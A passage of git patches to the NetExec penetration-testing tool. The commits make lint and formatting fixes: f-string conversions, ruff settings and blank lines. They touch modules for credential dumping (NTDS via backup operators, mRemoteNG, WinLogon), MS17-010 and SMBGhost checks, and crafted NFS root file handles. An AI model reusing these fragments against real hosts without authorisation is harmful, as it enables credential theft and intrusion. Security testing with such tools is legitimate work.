100644 --- a/nxc/modules/enum_ca.py +++ b/nxc/modules/enum_ca.py @@ -86,7 +86,7 @@ class NXCModule: if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS: exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]] - context.log.debug("EXEs %s" % exename) + context.log.debug(f"EXEs {exename}") if exename == "certsrv.exe": context.log.highlight("Active Directory Certificate Services Found.") url = f"http://{connection.host}/certsrv/certfnsh.asp" diff --git a/nxc/modules/ms17-010.py b/nxc/modules/ms17-010.py index be0988f4..d0294635 100644 --- a/nxc/modules/ms17-010.py +++ b/nxc/modules/ms17-010.py @@ -31,19 +31,19 @@ class SmbHeader(Structure): ] def __init__(self, buffer): - nxc_logger.debug("server_component : %04x" % self.server_component) - nxc_logger.debug("smb_command : %01x" % self.smb_command) - nxc_logger.debug("error_class : %01x" % self.error_class) - nxc_logger.debug("error_code : %02x" % self.error_code) - nxc_logger.debug("flags : %01x" % self.flags) - nxc_logger.debug("flags2 : %02x" % self.flags2) - nxc_logger.debug("process_id_high : %02x" % self.process_id_high) - nxc_logger.debug("signature : %08x" % self.signature) - nxc_logger.debug("reserved2 : %02x" % self.reserved2) - nxc_logger.debug("tree_id : %02x" % self.tree_id) - nxc_logger.debug("process_id : %02x" % self.process_id) - nxc_logger.debug("user_id : %02x" % self.user_id) - nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id) + nxc_logger.debug(f"server_component : {self.server_component:04x}") + nxc_logger.debug(f"smb_command : {self.smb_command:01x}") + nxc_logger.debug(f"error_class : {self.error_class:01x}") + nxc_logger.debug(f"error_code : {self.error_code:02x}") + nxc_logger.debug(f"flags : {self.flags:01x}") + nxc_logger.debug(f"flags2 : {self.flags2:02x}") + nxc_logger.debug(f"process_id_high : {self.process_id_high:02x}") + nxc_logger.debug(f"signature : {self.signature:08x}") + nxc_logger.debug(f"reserved2 : {self.reserved2:02x}") + nxc_logger.debug(f"tree_id : {self.tree_id:02x}") + nxc_logger.debug(f"process_id : {self.process_id:02x}") + nxc_logger.debug(f"user_id : {self.user_id:02x}") + nxc_logger.debug(f"multiplex_id : {self.multiplex_id:02x}") def __new__(self, buffer=None): nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}") diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d04f98d8..877b42b6 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -362,7 +362,7 @@ class ldap(connection): return False except (KeyError, KerberosException, OSError) as e: self.logger.fail( - f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {e!s}", + f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {e!s}", color="red", ) return False @@ -400,7 +400,7 @@ class ldap(connection): except SessionError as e: error, desc = e.getErrorString() self.logger.fail( - f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error!s}", + f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error!s}", color="magenta" if error in ldap_error_status else "red", ) return False @@ -414,7 +414,7 @@ class ldap(connection): else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error_code!s}", + f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error_code!s}", color="magenta" if error_code in ldap_error_status else "red", ) return False @@ -879,7 +879,7 @@ class ldap(connection): sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": - userAccountControl = "0x%x" % int(attribute["vals"][0]) + userAccountControl = "0x{:x}".format(int(attribute["vals"][0])) elif str(attribute["type"]) == "memberOf": memberOf = str(attribute["vals"][0]) elif str(attribute["type"]) == "pwdLastSet": @@ -1179,7 +1179,7 @@ class ldap(connection): sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": - userAccountControl = "0x%x" % int(attribute["vals"][0]) + userAccountControl = "0x{:x}".format(int(attribute["vals"][0])) elif str(attribute["type"]) == "memberOf": memberOf = str(attribute["vals"][0]) elif str(attribute["type"]) == "pwdLastSet": @@ -1309,7 +1309,7 @@ class ldap(connection): sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": - userAccountControl = "0x%x" % int(attribute["vals"][0]) + userAccountControl = "0x{:x}".format(int(attribute["vals"][0])) elif str(attribute["type"]) == "memberOf": memberOf = str(attribute["vals"][0]) elif str(attribute["type"]) == "pwdLastSet": From dc415e75e494711c1666f74fdf410d8f9b23a1f5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:04:21 -0400 Subject: [PATCH 08/83] Fixed string concatination that is only available in py3.12+ --- nxc/protocols/nfs.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index f8a5b6c8..2f77b6ab 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -262,7 +262,7 @@ class nfs(connection): read_perm, write_perm, exec_perm = self.get_permissions(file_handle) self.mount.umnt(self.auth) - self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + "/" + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}") + self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}") except Exception as e: self.logger.fail(f"Failed to list share: {share} - {e}") @@ -562,13 +562,13 @@ class nfs(connection): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113 - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) return root_handles From 1289a0e02592533edd3d636506208aab46b3a60d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:10:49 -0400 Subject: [PATCH 09/83] Enable preview mode as recommended in our doc guidelines --- pyproject.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/pyproject.toml b/pyproject.toml index bfacb755..f9884caa 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -95,6 +95,7 @@ exclude = [ "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" ] line-length = 65000 +preview = true [tool.ruff.lint] select = [ From 5782352622d53e21dad53e671cbea72c44a17cf6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:19:38 -0400 Subject: [PATCH 10/83] Remove rule which converts 'x if x else y' and deletes unused variables --- pyproject.toml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index f9884caa..8b6f19b5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -105,8 +105,8 @@ select = [ ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", - "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", - "PERF203", "RUF012" + "D417", "D419", "FURB110", "RET503", "RET505", "RET506", "RET507", "RET508", + "PERF203", "RUF012", "RUF059" ] # THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings From a42c664326a2f886e05bb717cd492880f99d0cb0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:22:06 -0400 Subject: [PATCH 11/83] Autofix with ruff --- nxc/connection.py | 6 ++---- nxc/database.py | 2 ++ nxc/helpers/args.py | 1 + nxc/helpers/misc.py | 2 +- nxc/helpers/pfx.py | 2 +- nxc/helpers/powershell.py | 5 +++-- nxc/logger.py | 2 +- nxc/modules/adcs.py | 2 +- nxc/modules/add-computer.py | 2 +- nxc/modules/backup_operator.py | 1 + nxc/modules/bitlocker.py | 1 + nxc/modules/coerce_plus.py | 1 - nxc/modules/dpapi_hash.py | 1 + nxc/modules/enum_ca.py | 2 +- nxc/modules/enum_dns.py | 2 +- nxc/modules/enum_impersonate.py | 1 + nxc/modules/enum_logins.py | 1 + nxc/modules/get-network.py | 8 +++----- nxc/modules/ldap-checker.py | 1 - nxc/modules/mremoteng.py | 2 +- nxc/modules/ms17-010.py | 9 --------- nxc/modules/mssql_coerce.py | 1 + nxc/modules/recent_files.py | 2 +- nxc/modules/reg-winlogon.py | 1 + nxc/modules/remove-mic.py | 3 +-- nxc/modules/security-questions.py | 1 + nxc/modules/shadowrdp.py | 1 + nxc/modules/slinky.py | 2 +- nxc/modules/smbghost.py | 1 + nxc/modules/snipped.py | 3 --- nxc/modules/timeroast.py | 4 +--- nxc/modules/uac.py | 1 - nxc/modules/wam.py | 1 - nxc/modules/winscp.py | 1 - nxc/nxcdb.py | 4 +--- nxc/protocols/ftp.py | 1 + nxc/protocols/ldap.py | 6 +++--- nxc/protocols/smb.py | 3 +-- nxc/protocols/smb/dpapi.py | 2 ++ nxc/protocols/smb/firefox.py | 2 ++ nxc/protocols/smb/passpol.py | 2 +- nxc/protocols/smb/proto_args.py | 1 + nxc/protocols/smb/smbspider.py | 1 - nxc/protocols/ssh/proto_args.py | 1 + tests/test_smb_database.py | 2 +- 45 files changed, 47 insertions(+), 54 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 3c9b0843..bd3fac76 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -302,8 +302,7 @@ class connection: module.on_shutdown(context, self) def inc_failed_login(self, username): - global global_failed_logins - global user_failed_logins + global global_failed_logins, user_failed_logins if username not in user_failed_logins: user_failed_logins[username] = 0 @@ -313,8 +312,7 @@ class connection: self.failed_logins += 1 def over_fail_limit(self, username): - global global_failed_logins - global user_failed_logins + global global_failed_logins, user_failed_logins if global_failed_logins == self.args.gfail_limit: return True diff --git a/nxc/database.py b/nxc/database.py index 023288f1..638ccde2 100644 --- a/nxc/database.py +++ b/nxc/database.py @@ -111,6 +111,7 @@ def initialize_db(): # Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol) init_protocol_dbs("default") + def format_host_query(q, filter_term, HostsTable): """One annoying thing is that if you search for an ip such as '10.10.10.5', it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first @@ -141,6 +142,7 @@ def format_host_query(q, filter_term, HostsTable): return q + class BaseDB: def __init__(self, db_engine): self.db_engine = db_engine diff --git a/nxc/helpers/args.py b/nxc/helpers/args.py index 2336a057..956ae37e 100644 --- a/nxc/helpers/args.py +++ b/nxc/helpers/args.py @@ -1,6 +1,7 @@ from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE from argparse import Action + class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter): def _get_help_string(self, action): help_string = action.help diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index a92646f7..e860ab88 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -22,7 +22,7 @@ def gen_random_string(length=10): def validate_ntlm(data): - allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE) + allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE) return bool(allowed.match(data)) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 0b1e27e7..4eb0c804 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -30,7 +30,6 @@ import os import secrets import hashlib import datetime -import logging import random import base64 @@ -71,6 +70,7 @@ from impacket.krb5.ccache import CCache as impacket_CCache from nxc.paths import NXC_PATH from nxc.logger import nxc_logger + class myPKINIT(PKINIT): """ Copy of minikerberos PKINIT diff --git a/nxc/helpers/powershell.py b/nxc/helpers/powershell.py index 227325f2..91e09e6c 100644 --- a/nxc/helpers/powershell.py +++ b/nxc/helpers/powershell.py @@ -12,6 +12,7 @@ import random obfuscate_ps_scripts = False + def replace_singles(s): """Replaces single quotes with a double quote We do this because quoting is very important in PowerShell, and we are doing multiple layers: @@ -27,6 +28,7 @@ def replace_singles(s): """ return s.replace("'", r"\"") + def get_ps_script(path): """Generates a full path to a PowerShell script given a relative path. @@ -116,12 +118,11 @@ def obfs_ps_script(path_to_script): and debug statements from a PowerShell source file. """ # strip block comments - stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read()) + stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read()) # strip blank lines, lines starting with #, and verbose/debug statements return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))]) - def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True): """ Generates a PowerShell command based on the provided `ps_command` parameter. diff --git a/nxc/logger.py b/nxc/logger.py index 88871f59..e866ead7 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -103,7 +103,7 @@ class NXCAdapter(logging.LoggerAdapter): logging.getLogger("dploot").disabled = True logging.getLogger("neo4j").setLevel(logging.ERROR) - def format(self, msg, *args, **kwargs): # noqa: A003 + def format(self, msg, *args, **kwargs): """Format msg for output This is used instead of process() since process() applies to _all_ messages, including debug calls diff --git a/nxc/modules/adcs.py b/nxc/modules/adcs.py index c13c4e56..76faae18 100644 --- a/nxc/modules/adcs.py +++ b/nxc/modules/adcs.py @@ -27,7 +27,7 @@ class NXCModule: SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name BASE_DN The base domain name for the LDAP query """ - self.regex = re.compile("(https?://.+)") + self.regex = re.compile(r"(https?://.+)") self.server = None self.base_dn = None diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index d5f7ce9c..a9ad232a 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -4,6 +4,7 @@ import sys from impacket.dcerpc.v5 import samr, epm, transport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE + class NXCModule: """ Module by CyberCelt: @Cyb3rC3lt @@ -88,7 +89,6 @@ class NXCModule: if not self.noLDAPRequired: self.do_ldaps_add(connection, context) - def do_samr_add(self, context): """ Connects to a target server and performs various operations related to adding or deleting machine accounts. diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 4b858312..fc29bacd 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -9,6 +9,7 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from nxc.paths import NXC_PATH + class NXCModule: name = "backup_operator" description = "Exploit user in backup operator group to dump NTDS @mpgn_x64" diff --git a/nxc/modules/bitlocker.py b/nxc/modules/bitlocker.py index ef271183..8057cade 100644 --- a/nxc/modules/bitlocker.py +++ b/nxc/modules/bitlocker.py @@ -4,6 +4,7 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY + class NXCModule: name = "bitlocker" description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled." diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index fa3caf9c..cabaaa68 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -778,7 +778,6 @@ class PrinterBugTrigger: self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}") raise e - def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "spoolss": { diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py index 070121f6..1f02709f 100644 --- a/nxc/modules/dpapi_hash.py +++ b/nxc/modules/dpapi_hash.py @@ -5,6 +5,7 @@ from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection # Based on dpapimk2john, original work by @fist0urs + class NXCModule: name = "dpapi_hash" description = "Remotely dump Dpapi hash based on masterkeys" diff --git a/nxc/modules/enum_ca.py b/nxc/modules/enum_ca.py index 0ff66d0a..613cd3cd 100644 --- a/nxc/modules/enum_ca.py +++ b/nxc/modules/enum_ca.py @@ -61,7 +61,7 @@ class NXCModule: rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) rpctransport.setRemoteHost(connection.host) rpctransport.set_dport(self.__port) - elif self.__port in [443]: + elif self.__port == 443: # Setting credentials only for RPC Proxy, but not for the MSRPC level rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) rpctransport.set_auth_type(AUTH_NTLM) diff --git a/nxc/modules/enum_dns.py b/nxc/modules/enum_dns.py index fe88cd29..a441ce92 100644 --- a/nxc/modules/enum_dns.py +++ b/nxc/modules/enum_dns.py @@ -50,7 +50,7 @@ class NXCModule: rname = text.split(" ")[0] rtype = text.split(" ")[2] rvalue = " ".join(text.split(" ")[3:]) - if domain_data.get(rtype, False): + if domain_data.get(rtype): domain_data[rtype].append(f"{rname}: {rvalue}") else: domain_data[rtype] = [f"{rname}: {rvalue}"] diff --git a/nxc/modules/enum_impersonate.py b/nxc/modules/enum_impersonate.py index 9dc142c5..acfaa216 100644 --- a/nxc/modules/enum_impersonate.py +++ b/nxc/modules/enum_impersonate.py @@ -42,5 +42,6 @@ class NXCModule: """ res = self.mssql_conn.sql_query(query) return [user["name"] for user in res] if res else [] + def options(self, context, module_options): pass diff --git a/nxc/modules/enum_logins.py b/nxc/modules/enum_logins.py index 42302338..4bdd0233 100644 --- a/nxc/modules/enum_logins.py +++ b/nxc/modules/enum_logins.py @@ -36,5 +36,6 @@ class NXCModule: query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';" res = self.mssql_conn.sql_query(query) return [login["name"] for login in res] if res else [] + def options(self, context, module_options): pass diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index 732acd2c..cfe5a10b 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -32,10 +32,8 @@ def get_dns_resolver(server, context): # Is our host an IP? In that case make sure the server IP is used # if not assume lookups are working already try: - if server.startswith("ldap://"): - server = server[7:] - if server.startswith("ldaps://"): - server = server[8:] + server = server.removeprefix("ldap://") + server = server.removeprefix("ldaps://") socket.inet_aton(server) dnsresolver.nameservers = [server] except OSError: @@ -44,7 +42,7 @@ def get_dns_resolver(server, context): def ldap2domain(ldap): - return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:] + return re.sub(r",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.IGNORECASE)[3:] def new_record(rtype, serial): diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 59e9550a..775b5f8f 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -112,7 +112,6 @@ class NXCModule: context.log.fail(f"Exception in run_ldaps_withEPA: {e}") return None - # Domain Controllers do not have a certificate setup for # LDAPS on port 636 by default. If this has not been setup, # the TLS handshake will hang and you will not be able to diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 875fbb73..ecdb186e 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -16,6 +16,7 @@ class MRemoteNgEncryptionAttributes: encryption_engine: str full_file_encryption: bool + class NXCModule: """ Dump mRemoteNG Passwords @@ -181,7 +182,6 @@ class NXCModule: content = conn.readFile(self.context.share, new_path) self.handle_confCons_file(content) - def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes): encrypted_password = b64decode(encrypted_password) if encrypted_password == b"": diff --git a/nxc/modules/ms17-010.py b/nxc/modules/ms17-010.py index d0294635..3a3a4a66 100644 --- a/nxc/modules/ms17-010.py +++ b/nxc/modules/ms17-010.py @@ -72,7 +72,6 @@ class NXCModule: if str(e) == "Buffer size too small (0 instead of at least 32 bytes)": context.log.debug("Buffer size too small, which means the response was not the expected size") - def generate_smb_proto_payload(self, *protos): """ Flattens a nested list and merges all bytes objects into a single bytes object. @@ -98,7 +97,6 @@ class NXCModule: self.logger.debug(f"Packed proto data: {hex_data}") return hex_data - def calculate_doublepulsar_xor_key(self, s): """ Calculate Doublepulsar Xor Key. @@ -115,8 +113,6 @@ class NXCModule: x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) return x & 0xffffffff # truncate to 32 bits - - def negotiate_proto_request(self): """Generate a negotiate_proto_request packet.""" self.logger.debug("generate negotiate proto request") @@ -160,7 +156,6 @@ class NXCModule: # Return the generated SMB protocol payload return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) - def session_setup_andx_request(self): """Generate session setup andx request.""" self.logger.debug("generate session setup andx request" @@ -210,7 +205,6 @@ class NXCModule: return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) - def tree_connect_andx_request(self, ip, userid): """Generate tree connect andx request. @@ -279,7 +273,6 @@ class NXCModule: # Generate the final SMB protocol payload return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) - def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id): """ Generate tran2 request. @@ -345,7 +338,6 @@ class NXCModule: return self.generate_smb_proto_payload(netbios, smb_header, tran_request) - def trans2_request(self, treeid, processid, userid, multiplex_id): """Generate trans2 request. @@ -409,7 +401,6 @@ class NXCModule: return self.generate_smb_proto_payload(netbios, smb_header, trans2_request) - def check(self, ip, port=445): """Check if MS17_010 SMB Vulnerability exists. diff --git a/nxc/modules/mssql_coerce.py b/nxc/modules/mssql_coerce.py index a4dca25a..d1b597ef 100644 --- a/nxc/modules/mssql_coerce.py +++ b/nxc/modules/mssql_coerce.py @@ -1,5 +1,6 @@ import sys + class NXCModule: """Execute arbitrary SQL commands on the target MSSQL server""" diff --git a/nxc/modules/recent_files.py b/nxc/modules/recent_files.py index 0a1059e0..d7a77718 100644 --- a/nxc/modules/recent_files.py +++ b/nxc/modules/recent_files.py @@ -18,7 +18,7 @@ class NXCModule: def on_admin_login(self, context, connection): lnks = [] - for directory in connection.conn.listPath("C$", "Users\\*"): + for directory in connection.conn.listPath("C$", "Users\\*"): if directory.get_longname() not in self.false_positive and directory.is_directory(): context.log.highlight(f"C:\\{directory.get_longname()}") recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" diff --git a/nxc/modules/reg-winlogon.py b/nxc/modules/reg-winlogon.py index 90dd1103..fc85422c 100644 --- a/nxc/modules/reg-winlogon.py +++ b/nxc/modules/reg-winlogon.py @@ -1,6 +1,7 @@ from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations + class NXCModule: r""" WinLogon AutoLogon: extract the credential from the following registry hive diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index 40e43c97..e63eb83e 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -52,6 +52,7 @@ class NXCModule: else: context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/") + class Modify_Func: # Slightly modified version of impackets computeResponseNTLMv2 def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", @@ -162,7 +163,6 @@ class Modify_Func: if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN - keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password, lmhash, nthash, use_ntlmv2) @@ -170,7 +170,6 @@ class Modify_Func: if user == "" and password == "" and lmhash == "" and nthash == "": keyExchangeKey = b"\x00" * 16 - if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)])) encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) diff --git a/nxc/modules/security-questions.py b/nxc/modules/security-questions.py index e729a05a..91630aed 100644 --- a/nxc/modules/security-questions.py +++ b/nxc/modules/security-questions.py @@ -4,6 +4,7 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException from json import loads from traceback import format_exc as traceback_format_exc + class NXCModule: """ Module by Adamkadaban: @Adamkadaban diff --git a/nxc/modules/shadowrdp.py b/nxc/modules/shadowrdp.py index 40ad8120..59c148e9 100644 --- a/nxc/modules/shadowrdp.py +++ b/nxc/modules/shadowrdp.py @@ -1,6 +1,7 @@ from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations + # Module by @Defte_ # Enables or disables shadow RDP class NXCModule: diff --git a/nxc/modules/slinky.py b/nxc/modules/slinky.py index ac4d2420..2b6f97a3 100644 --- a/nxc/modules/slinky.py +++ b/nxc/modules/slinky.py @@ -3,6 +3,7 @@ import ntpath from sys import exit from nxc.paths import TMP_PATH + class NXCModule: """ Original idea and PoC by Justin Angel (@4rch4ngel86) @@ -61,7 +62,6 @@ class NXCModule: self.ico_uri = module_options["ICO_URI"] context.log.debug("Overriding") - self.lnk_name = module_options["NAME"] self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk" self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk") diff --git a/nxc/modules/smbghost.py b/nxc/modules/smbghost.py index 0cc01d64..f8c61341 100644 --- a/nxc/modules/smbghost.py +++ b/nxc/modules/smbghost.py @@ -10,6 +10,7 @@ MAX_ATTEMPTS = 2000 # False negative chance: 0.04% # SMBGhost Packet SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' + class NXCModule: name = "smbghost" description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)." diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py index dd8b9fce..02f3d768 100644 --- a/nxc/modules/snipped.py +++ b/nxc/modules/snipped.py @@ -22,8 +22,6 @@ class NXCModule: self.context = context self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None - - def on_admin_login(self, context, connection): self.context = context self.connection = connection @@ -111,7 +109,6 @@ class NXCModule: if total_files_downloaded > 0 and host_output_path: context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") - def find_screenshots_folders(self, user_folder_name): """ Dynamically searches for all Screenshots folders in the user's home directory. diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index bc87f8e0..beeb5ca7 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py 